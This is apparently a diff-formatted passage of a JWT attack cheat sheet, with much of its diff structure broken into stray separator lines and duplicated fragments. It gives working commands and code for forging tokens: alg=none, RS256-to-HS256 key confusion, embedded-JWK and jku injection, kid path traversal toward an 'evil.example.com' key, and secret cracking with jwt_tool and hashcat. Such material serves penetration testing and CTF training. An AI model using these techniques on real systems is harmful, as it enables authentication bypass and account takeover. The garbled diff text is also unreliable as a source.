decodedToken = jwt.decode(jwtToken, verify=False) # Need to decode the token before encoding with type 'None'
|
# decode the token before encoding with type 'None'
|
||||||
noneEncoded = jwt.encode(decodedToken, key='', algorithm=None)
|
noneEncoded = jwt.encode(decodedToken, key='', algorithm=None)
|
||||||
|
|
||||||
print(noneEncoded.decode())
|
print(noneEncoded.decode())
|
||||||
|
```
|
||||||
|
|
||||||
"""
|
|
||||||
Output:
|
|
||||||
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.
|
|
||||||
"""
|
|
||||||
```
|
|
||||||
|
|
||||||
## JWT Signature - RS256 to HS256
|
### JWT Signature - Key Confusion Attack RS256 to HS256 (CVE-2016-5431)
|
||||||
|
|
||||||
Because the public key can sometimes be obtained by the attacker, the attacker can modify the algorithm in the header to HS256 and then use the RSA public key to sign the data.
|
If a server’s code is expecting a token with "alg" set to RSA, but receives a token with "alg" set to HMAC, it may inadvertently use the public key as the HMAC symmetric key when verifying the signature.
|
||||||
|
|
||||||
> The algorithm HS256 uses the secret key to sign and verify each message.
|
Because the public key can sometimes be obtained by the attacker, the attacker can modify the algorithm in the header to HS256 and then use the RSA public key to sign the data. When the applications use the same RSA key pair as their TLS web server: `openssl s_client -connect example.com:443 | openssl x509 -pubkey -noout`
|
||||||
> The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.
|
|
||||||
|
> The algorithm **HS256** uses the secret key to sign and verify each message.
|
||||||
|
> The algorithm **RS256** uses the private key to sign the message and uses the public key for authentication.
|
||||||
|
|
||||||
```python
|
```python
|
||||||
import jwt
|
import jwt
|
||||||
@@ -139,75 +205,139 @@ print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
|
|||||||
|
|
||||||
:warning: This behavior is fixed in the python library and will return this error `jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.`. You need to install the following version: `pip install pyjwt==0.4.3`.
|
:warning: This behavior is fixed in the python library and will return this error `jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.`. You need to install the following version: `pip install pyjwt==0.4.3`.
|
||||||
|
|
||||||
Here are the steps to edit an RS256 JWT token into an HS256
|
* Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
|
||||||
|
```ps1
|
||||||
|
python3 jwt_tool.py JWT_HERE -X k -pk my_public.pem
|
||||||
|
```
|
||||||
|
* Using [portswigger/JWT Editor](https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd)
|
||||||
|
1. Find the public key, usually in `/jwks.json` or `/.well-known/jwks.json`
|
||||||
|
2. Load it in the JWT Editor Keys tab, click `New RSA Key`.
|
||||||
|
3. . In the dialog, paste the JWK that you obtained earlier: `{"kty":"RSA","e":"AQAB","use":"sig","kid":"961a...85ce","alg":"RS256","n":"16aflvW6...UGLQ"}`
|
||||||
|
4. Select the PEM radio button and copy the resulting PEM key.
|
||||||
|
5. Go to the Decoder tab and Base64-encode the PEM.
|
||||||
|
6. Go back to the JWT Editor Keys tab and generate a `New Symmetric Key` in JWK format.
|
||||||
|
7. Replace the generated value for the k parameter with a Base64-encoded PEM key that you just copied.
|
||||||
|
8. Edit the JWT token alg to `HS256` and the data.
|
||||||
|
9. Click `Sign` and keep the option: `Don't modify header`
|
||||||
|
|
||||||
1. Convert our public key (key.pem) into HEX with this command.
|
* Manually using the following steps to edit an RS256 JWT token into an HS256
|
||||||
|
1. Convert our public key (key.pem) into HEX with this command.
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
$ cat key.pem | xxd -p | tr -d "\\n"
|
$ cat key.pem | xxd -p | tr -d "\\n"
|
||||||
2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
|
2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
|
||||||
|
```
|
||||||
|
|
||||||
|
2. Generate HMAC signature by supplying our public key as ASCII hex and with our token previously edited.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
$ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
|
||||||
|
|
||||||
|
(stdin)= 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0
|
||||||
|
```
|
||||||
|
|
||||||
|
3. Convert signature (Hex to "base64 URL")
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
$ python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")"
|
||||||
|
```
|
||||||
|
|
||||||
|
4. Add signature to edited payload
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
[HEADER EDITED RS256 TO HS256].[DATA EDITED].[SIGNATURE]
|
||||||
|
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### JWT Signature - Key Injection Attack (CVE-2018-0114)
|
||||||
|
|
||||||
|
> A vulnerability in the Cisco node-jose open source library before 0.11.0 could allow an unauthenticated, remote attacker to re-sign tokens using a key that is embedded within the token. The vulnerability is due to node-jose following the JSON Web Signature (JWS) standard for JSON Web Tokens (JWTs). This standard specifies that a JSON Web Key (JWK) representing a public key can be embedded within the header of a JWS. This public key is then trusted for verification. An attacker could exploit this by forging valid JWS objects by removing the original signature, adding a new public key to the header, and then signing the object using the (attacker-owned) private key associated with the public key embedded in that JWS header.
|
||||||
|
|
||||||
|
|
||||||
|
**Exploit**:
|
||||||
|
|
||||||
|
* Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
|
||||||
|
|
||||||
|
```ps1
|
||||||
|
python3 jwt_tool.py [JWT_HERE] -X i
|
||||||
```
|
```
|
||||||
|
|
||||||
2. Generate HMAC signature by supplying our public key as ASCII hex and with our token previously edited.
|
* Using [portswigger/JWT Editor](https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd)
|
||||||
|
1. Add a `New RSA key`
|
||||||
|
2. In the JWT's Repeater tab, edit data
|
||||||
|
3. `Attack` > `Embedded JWK`
|
||||||
|
|
||||||
```powershell
|
**Deconstructed**:
|
||||||
$ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
|
|
||||||
|
|
||||||
(stdin)= 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0
|
```json
|
||||||
```
|
{
|
||||||
|
"alg": "RS256",
|
||||||
3. Convert signature (Hex to "base64 URL")
|
"typ": "JWT",
|
||||||
|
"jwk": {
|
||||||
```powershell
|
"kty": "RSA",
|
||||||
$ python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")"
|
"kid": "jwt_tool",
|
||||||
```
|
"use": "sig",
|
||||||
|
"e": "AQAB",
|
||||||
4. Add signature to edited payload
|
"n": "uKBGiwYqpqPzbK6_fyEp71H3oWqYXnGJk9TG3y9K_uYhlGkJHmMSkm78PWSiZzVh7Zj0SFJuNFtGcuyQ9VoZ3m3AGJ6pJ5PiUDDHLbtyZ9xgJHPdI_gkGTmT02Rfu9MifP-xz2ZRvvgsWzTPkiPn-_cFHKtzQ4b8T3w1vswTaIS8bjgQ2GBqp0hHzTBGN26zIU08WClQ1Gq4LsKgNKTjdYLsf0e9tdDt8Pe5-KKWjmnlhekzp_nnb4C2DMpEc1iVDmdHV2_DOpf-kH_1nyuCS9_MnJptF1NDtL_lLUyjyWiLzvLYUshAyAW6KORpGvo2wJa2SlzVtzVPmfgGW7Chpw"
|
||||||
|
}
|
||||||
```powershell
|
}.
|
||||||
[HEADER EDITED RS256 TO HS256].[DATA EDITED].[SIGNATURE]
|
{"login":"admin"}.
|
||||||
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA
|
[Signed with new Private key; Public key injected]
|
||||||
```
|
|
||||||
|
|
||||||
## Breaking JWT's secret
|
|
||||||
|
|
||||||
Encode/Decode JWT with the secret.
|
|
||||||
|
|
||||||
```python
|
|
||||||
import jwt
|
|
||||||
encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256') # encode with 'secret'
|
|
||||||
|
|
||||||
encoded = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE"
|
|
||||||
jwt.decode(encoded, 'Sn1f', algorithms=['HS256']) # decode with 'Sn1f' as the secret key
|
|
||||||
|
|
||||||
# result
|
|
||||||
{u'admin': True, u'sub': u'1234567890', u'name': u'John Doe'}
|
|
||||||
```
|
```
|
||||||
|
|
||||||
### JWT tool
|
|
||||||
|
|
||||||
First, bruteforce the "secret" key used to compute the signature.
|
### JWT Signature - Recover Public Key From Signed JWTs
|
||||||
|
|
||||||
|
The RS256, RS384 and RS512 algorithms use RSA with PKCS#1 v1.5 padding as their signature scheme. This has the property that you can compute the public key given two different messages and accompanying signatures.
|
||||||
|
|
||||||
|
[SecuraBV/jws2pubkey](https://github.com/SecuraBV/jws2pubkey): compute an RSA public key from two signed JWTs
|
||||||
|
|
||||||
|
```ps1
|
||||||
|
$ docker run -it ttervoort/jws2pubkey JWS1 JWS2
|
||||||
|
$ docker run -it ttervoort/jws2pubkey "$(cat sample-jws/sample1.txt)" "$(cat sample-jws/sample2.txt)" | tee pubkey.jwk
|
||||||
|
Computing public key. This may take a minute...
|
||||||
|
{"kty": "RSA", "n": "sEFRQzskiSOrUYiaWAPUMF66YOxWymrbf6PQqnCdnUla8PwI4KDVJ2XgNGg9XOdc-jRICmpsLVBqW4bag8eIh35PClTwYiHzV5cbyW6W5hXp747DQWan5lIzoXAmfe3Ydw65cXnanjAxz8vqgOZP2ptacwxyUPKqvM4ehyaapqxkBbSmhba6160PEMAr4d1xtRJx6jCYwQRBBvZIRRXlLe9hrohkblSrih8MdvHWYyd40khrPU9B2G_PHZecifKiMcXrv7IDaXH-H_NbS7jT5eoNb9xG8K_j7Hc9mFHI7IED71CNkg9RlxuHwELZ6q-9zzyCCcS426SfvTCjnX0hrQ", "e": "AQAB"}
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## JWT Secret
|
||||||
|
|
||||||
|
> To create a JWT, a secret key is used to sign the header and payload, which generates the signature. The secret key must be kept secret and secure to prevent unauthorized access to the JWT or tampering with its contents. If an attacker is able to access the secret key, they can create, modify or sign their own tokens, bypassing the intended security controls.
|
||||||
|
|
||||||
|
### Encode and Decode JWT with the secret
|
||||||
|
|
||||||
|
* Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool):
|
||||||
|
```ps1
|
||||||
|
jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds
|
||||||
|
jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds -T
|
||||||
|
|
||||||
|
Token header values:
|
||||||
|
[+] alg = "HS256"
|
||||||
|
[+] typ = "JWT"
|
||||||
|
|
||||||
|
Token payload values:
|
||||||
|
[+] name = "John Doe"
|
||||||
|
```
|
||||||
|
* Using [pyjwt](https://pyjwt.readthedocs.io/en/stable/): `pip install pyjwt`
|
||||||
|
```python
|
||||||
|
import jwt
|
||||||
|
encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256')
|
||||||
|
jwt.decode(encoded, 'secret', algorithms=['HS256'])
|
||||||
|
```
|
||||||
|
|
||||||
|
### Break JWT secret
|
||||||
|
|
||||||
|
Useful list of 3502 public-available JWT: [wallarm/jwt-secrets/jwt.secrets.list](https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list), including `your_jwt_secret`, `change_this_super_secret_random_string`, etc.
|
||||||
|
|
||||||
|
|
||||||
|
#### JWT tool
|
||||||
|
|
||||||
|
First, bruteforce the "secret" key used to compute the signature using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
git clone https://github.com/ticarpi/jwt_tool
|
|
||||||
python3 -m pip install termcolor cprint pycryptodomex requests
|
python3 -m pip install termcolor cprint pycryptodomex requests
|
||||||
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI -d /tmp/wordlist -C
|
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI -d /tmp/wordlist -C
|
||||||
|
|
||||||
\ \ \ \ \ \
|
|
||||||
\__ | | \ |\__ __| \__ __| |
|
|
||||||
| | \ | | | \ \ |
|
|
||||||
| \ | | | __ \ __ \ |
|
|
||||||
\ | _ | | | | | | | |
|
|
||||||
| | / \ | | | | | | | |
|
|
||||||
\ | / \ | | |\ |\ | |
|
|
||||||
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
|
|
||||||
Version 2.2.2 \______| @ticarpi
|
|
||||||
|
|
||||||
Original JWT:
|
|
||||||
|
|
||||||
[+] secret is the CORRECT key!
|
|
||||||
You can tamper/fuzz the token contents (-T/-I) and sign it using:
|
|
||||||
python3 jwt_tool.py [options here] -S HS256 -p "secret"
|
|
||||||
```
|
```
|
||||||
|
|
||||||
Then edit the field inside the JSON Web Token.
|
Then edit the field inside the JSON Web Token.
|
||||||
@@ -221,8 +351,7 @@ Please enter new value and hit ENTER
|
|||||||
[3] iat = 1516239022
|
[3] iat = 1516239022
|
||||||
[0] Continue to next step
|
[0] Continue to next step
|
||||||
|
|
||||||
Please select a field number:
|
Please select a field number (or 0 to Continue):
|
||||||
(or 0 to Continue)
|
|
||||||
> 0
|
> 0
|
||||||
```
|
```
|
||||||
|
|
||||||
@@ -241,7 +370,7 @@ Please select an option from above (1-4):
|
|||||||
Please enter the known key:
|
Please enter the known key:
|
||||||
> secret
|
> secret
|
||||||
|
|
||||||
Please enter the keylength:
|
Please enter the key length:
|
||||||
[1] HMAC-SHA256
|
[1] HMAC-SHA256
|
||||||
[2] HMAC-SHA384
|
[2] HMAC-SHA384
|
||||||
[3] HMAC-SHA512
|
[3] HMAC-SHA512
|
||||||
@@ -259,45 +388,157 @@ Your new forged token:
|
|||||||
* Review: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin`
|
* Review: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin`
|
||||||
|
|
||||||
|
|
||||||
### JWT cracker
|
#### Hashcat
|
||||||
|
|
||||||
```bash
|
|
||||||
git clone https://github.com/brendan-rius/c-jwt-cracker
|
|
||||||
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE
|
|
||||||
Secret is "Sn1f"
|
|
||||||
```
|
|
||||||
|
|
||||||
### Hashcat
|
|
||||||
|
|
||||||
> Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080 - [src](https://twitter.com/hashcat/status/955154646494040065)
|
> Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080 - [src](https://twitter.com/hashcat/status/955154646494040065)
|
||||||
|
|
||||||
```bash
|
* Dictionary attack: `hashcat -a 0 -m 16500 jwt.txt wordlist.txt`
|
||||||
/hashcat -m 16500 hash.txt -a 3 -w 3 ?a?a?a?a?a?a
|
* Rule-based attack: `hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule`
|
||||||
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...Fh7HgQ:secret
|
* Brute force attack: `hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6`
|
||||||
|
|
||||||
|
|
||||||
|
## JWT Claims
|
||||||
|
|
||||||
|
[IANA's JSON Web Token Claims](https://www.iana.org/assignments/jwt/jwt.xhtml)
|
||||||
|
|
||||||
|
|
||||||
|
### JWT kid Claim Misuse
|
||||||
|
|
||||||
|
The "kid" (key ID) claim in a JSON Web Token (JWT) is an optional header parameter that is used to indicate the identifier of the cryptographic key that was used to sign or encrypt the JWT. It is important to note that the key identifier itself does not provide any security benefits, but rather it enables the recipient to locate the key that is needed to verify the integrity of the JWT.
|
||||||
|
|
||||||
|
* Example #1 : Local file
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"alg": "HS256",
|
||||||
|
"typ": "JWT",
|
||||||
|
"kid": "/root/res/keys/secret.key"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
* Example #2 : Remote file
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"alg":"RS256",
|
||||||
|
"typ":"JWT",
|
||||||
|
"kid":"http://localhost:7070/privKey.key"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
The content of the file specified in the kid header will be used to generate the signature.
|
||||||
|
|
||||||
|
```js
|
||||||
|
// Example for HS256
|
||||||
|
HMACSHA256(
|
||||||
|
base64UrlEncode(header) + "." +
|
||||||
|
base64UrlEncode(payload),
|
||||||
|
your-256-bit-secret-from-secret.key
|
||||||
|
)
|
||||||
```
|
```
|
||||||
|
|
||||||
## CVE
|
The common ways to misuse the kid header:
|
||||||
|
* Get the key content to change the payload
|
||||||
|
* Change the key path to force your own
|
||||||
|
```py
|
||||||
|
>>> jwt.encode(
|
||||||
|
... {"some": "payload"},
|
||||||
|
... "secret",
|
||||||
|
... algorithm="HS256",
|
||||||
|
... headers={"kid": "http://evil.example.com/custom.key"},
|
||||||
|
... )
|
||||||
|
```
|
||||||
|
|
||||||
|
* Change the key path to a file with a predictable content.
|
||||||
|
```ps1
|
||||||
|
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||||
|
python3 jwt_tool.py <JWT> -I -hc kid -hv "/proc/sys/kernel/randomize_va_space" -S hs256 -p "2"
|
||||||
|
```
|
||||||
|
|
||||||
|
* Modify the kid header to attempt SQL and Command Injections
|
||||||
|
|
||||||
|
|
||||||
|
### JWKS - jku header injection
|
||||||
|
|
||||||
|
"jku" header value points to the URL of the JWKS file. By replacing the "jku" URL with an attacker-controlled URL containing the Public Key, an attacker can use the paired Private Key to sign the token and let the service retrieve the malicious Public Key and verify the token.
|
||||||
|
|
||||||
|
It is sometimes exposed publicly via a standard endpoint:
|
||||||
|
|
||||||
|
* `/jwks.json`
|
||||||
|
* `/.well-known/jwks.json`
|
||||||
|
* `/openid/connect/jwks.json`
|
||||||
|
* `/api/keys`
|
||||||
|
* `/api/v1/keys`
|
||||||
|
* [`/{tenant}/oauth2/v1/certs`](https://docs.theidentityhub.com/doc/Protocol-Endpoints/OpenID-Connect/OpenID-Connect-JWKS-Endpoint.html)
|
||||||
|
|
||||||
|
You should create your own key pair for this attack and host it. It should look like that:
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"keys": [
|
||||||
|
{
|
||||||
|
"kid": "beaefa6f-8a50-42b9-805a-0ab63c3acc54",
|
||||||
|
"kty": "RSA",
|
||||||
|
"e": "AQAB",
|
||||||
|
"n": "nJB2vtCIXwO8DN[...]lu91RySUTn0wqzBAm-aQ"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**Exploit**:
|
||||||
|
|
||||||
|
* Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
|
||||||
|
```ps1
|
||||||
|
python3 jwt_tool.py JWT_HERE -X s
|
||||||
|
python3 jwt_tool.py JWT_HERE -X s -ju http://example.com/jwks.json
|
||||||
|
```
|
||||||
|
* Using [portswigger/JWT Editor](https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd)
|
||||||
|
1. Generate a new RSA key and host it
|
||||||
|
2. Edit JWT's data
|
||||||
|
3. Replace the `kid` header with the one from your JWKS
|
||||||
|
4. Add a `jku` header and sign the JWT (`Don't modify header` option should be checked)
|
||||||
|
|
||||||
|
**Deconstructed**:
|
||||||
|
|
||||||
|
```json
|
||||||
|
{"typ":"JWT","alg":"RS256", "jku":"https://example.com/jwks.json", "kid":"id_of_jwks"}.
|
||||||
|
{"login":"admin"}.
|
||||||
|
[Signed with new Private key; Public key exported]
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## Labs
|
||||||
|
|
||||||
|
* [PortSwigger - JWT authentication bypass via unverified signature](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature)
|
||||||
|
* [PortSwigger - JWT authentication bypass via flawed signature verification](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification)
|
||||||
|
* [PortSwigger - JWT authentication bypass via weak signing key](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key)
|
||||||
|
* [PortSwigger - JWT authentication bypass via jwk header injection](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection)
|
||||||
|
* [PortSwigger - JWT authentication bypass via jku header injection](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection)
|
||||||
|
* [PortSwigger - JWT authentication bypass via kid header path traversal](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal)
|
||||||
|
* [Root Me - JWT - Introduction](https://www.root-me.org/fr/Challenges/Web-Serveur/JWT-Introduction)
|
||||||
|
* [Root Me - JWT - Revoked token](https://www.root-me.org/en/Challenges/Web-Server/JWT-Revoked-token)
|
||||||
|
* [Root Me - JWT - Weak secret](https://www.root-me.org/en/Challenges/Web-Server/JWT-Weak-secret)
|
||||||
|
* [Root Me - JWT - Unsecure File Signature](https://www.root-me.org/en/Challenges/Web-Server/JWT-Unsecure-File-Signature)
|
||||||
|
* [Root Me - JWT - Public key](https://www.root-me.org/en/Challenges/Web-Server/JWT-Public-key)
|
||||||
|
* [Root Me - JWT - Header Injection](https://www.root-me.org/en/Challenges/Web-Server/JWT-Header-Injection)
|
||||||
|
* [Root Me - JWT - Unsecure Key Handling](https://www.root-me.org/en/Challenges/Web-Server/JWT-Unsecure-Key-Handling)
|
||||||
|
|
||||||
* CVE-2015-2951 - The alg=none signature-bypass vulnerability
|
|
||||||
* CVE-2016-10555 - The RS/HS256 public key mismatch vulnerability
|
|
||||||
* CVE-2018-0114 - Key injection vulnerability
|
|
||||||
* CVE-2019-20933/CVE-2020-28637 - Blank password vulnerability
|
|
||||||
* CVE-2020-28042 - Null signature vulnerability
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
- [Hacking JSON Web Token (JWT) - Hate_401](https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6)
|
- [5 Easy Steps to Understanding JSON Web Token - Shaurya Sharma - December 21, 2019](https://medium.com/cyberverse/five-easy-steps-to-understand-json-web-tokens-jwt-7665d2ddf4d5)
|
||||||
- [WebSec CTF - Authorization Token - JWT Challenge](https://ctf.rip/websec-ctf-authorization-token-jwt-challenge/)
|
- [Attacking JWT authentication - Sjoerd Langkemper - September 28, 2016](https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/)
|
||||||
- [Privilege Escalation like a Boss - October 27, 2018 - janijay007](https://blog.securitybreached.org/2018/10/27/privilege-escalation-like-a-boss/)
|
- [Club EH RM 05 - Intro to JSON Web Token Exploitation - Nishacid - February 23, 2023](https://www.youtube.com/watch?v=d7wmUz57Nlg)
|
||||||
- [5 Easy Steps to Understanding JSON Web Token](https://medium.com/vandium-software/5-easy-steps-to-understanding-json-web-tokens-jwt-1164c0adfcec)
|
- [Critical vulnerabilities in JSON Web Token libraries - Tim McLean - March 31, 2015](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries//)
|
||||||
- [Hacking JSON Web Tokens - From Zero To Hero Without Effort - Websecurify Blog](https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html)
|
- [Hacking JSON Web Token (JWT) - pwnzzzz - May 3, 2018](https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6)
|
||||||
- [HITBGSEC CTF 2017 - Pasty (Web) - amon (j.heng)](https://nandynarwhals.org/hitbgsec2017-pasty/)
|
- [Hacking JSON Web Tokens - From Zero To Hero Without Effort - Websecurify - February 9, 2017](https://web.archive.org/web/20220305042224/https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html)
|
||||||
- [Critical vulnerabilities in JSON Web Token libraries - March 31, 2015 - Tim McLean](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries//)
|
- [Hacking JSON Web Tokens - Vickie Li - October 27, 2019](https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a)
|
||||||
- [Learn how to use JSON Web Tokens (JWT) for Authentication - @dwylhq](https://github.com/dwyl/learn-json-web-tokens)
|
- [HITBGSEC CTF 2017 - Pasty (Web) - amon (j.heng) - August 27, 2017](https://nandynarwhals.org/hitbgsec2017-pasty/)
|
||||||
- [Simple JWT hacking - @b1ack_h00d](https://medium.com/@blackhood/simple-jwt-hacking-73870a976750)
|
- [How to Hack a Weak JWT Implementation with a Timing Attack - Tamas Polgar - January 7, 2017](https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9)
|
||||||
- [Attacking JWT authentication - Sep 28, 2016 - Sjoerd Langkemper](https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/)
|
- [JSON Web Token Validation Bypass in Auth0 Authentication API - Ben Knight - April 16, 2020](https://insomniasec.com/blog/auth0-jwt-validation-bypass)
|
||||||
- [How to Hack a Weak JWT Implementation with a Timing Attack - Jan 7, 2017 - Tamas Polgar](https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9)
|
- [JSON Web Token Vulnerabilities - 0xn3va - March 27, 2022](https://0xn3va.gitbook.io/cheat-sheets/web-application/json-web-token-vulnerabilities)
|
||||||
- [HACKING JSON WEB TOKENS, FROM ZERO TO HERO WITHOUT EFFORT - Thu Feb 09 2017 - @pdp](https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html)
|
- [JWT Hacking 101 - TrustFoundry - Tyler Rosonke - December 8, 2017](https://trustfoundry.net/jwt-hacking-101/)
|
||||||
- [Write up – JRR Token – LeHack 2019 - 07/07/2019 - LAPHAZE](http://rootinthemiddle.org/write-up-jrr-token-lehack-2019/)
|
- [Learn how to use JSON Web Tokens (JWT) for Authentication - @dwylhq - May 3, 2022](https://github.com/dwyl/learn-json-web-tokens)
|
||||||
- [JWT Hacking 101 - TrustFoundry - Tyler Rosonke - December 8th, 2017](https://trustfoundry.net/jwt-hacking-101/)
|
- [Privilege Escalation like a Boss - janijay007 - October 27, 2018](https://blog.securitybreached.org/2018/10/27/privilege-escalation-like-a-boss/)
|
||||||
- [JSON Web Token Validation Bypass in Auth0 Authentication API - Ben Knight Senior Security Consultant - April 16, 2020](https://insomniasec.com/blog/auth0-jwt-validation-bypass)
|
- [Simple JWT hacking - Hari Prasanth (@b1ack_h00d) - March 7, 2019](https://medium.com/@blackhood/simple-jwt-hacking-73870a976750)
|
||||||
|
- [WebSec CTF - Authorization Token - JWT Challenge - Kris Hunt - August 7, 2016](https://ctf.rip/websec-ctf-authorization-token-jwt-challenge/)
|
||||||
|
